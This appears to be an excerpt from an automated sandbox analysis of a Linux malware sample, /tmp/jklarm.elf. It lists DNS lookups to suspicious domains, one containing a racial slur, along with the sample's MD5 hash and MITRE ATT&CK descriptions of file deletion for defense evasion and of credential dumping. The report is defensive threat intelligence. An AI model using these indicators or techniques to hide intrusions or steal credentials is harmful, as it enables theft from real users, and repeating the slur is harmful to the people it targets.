Mar 4, 2023 18:19:59.899136066 CET	192.168.2.23	8.8.8.8	0xcd2e	Standard query (0)	dogeating.monster	A (IP address)	IN (0x0001)	false
Mar 4, 2023 18:20:08.917953968 CET	192.168.2.23	8.8.8.8	0x3002	Standard query (0)	dogeatingchink.uno	A (IP address)	IN (0x0001)	false

Start time:	18:19:30
Start date:	04/03/2023
Path:	/tmp/jklarm.elf
Arguments:	/tmp/jklarm.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time:	18:19:31
Start date:	04/03/2023
Path:	/tmp/jklarm.elf
Arguments:	n/a
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre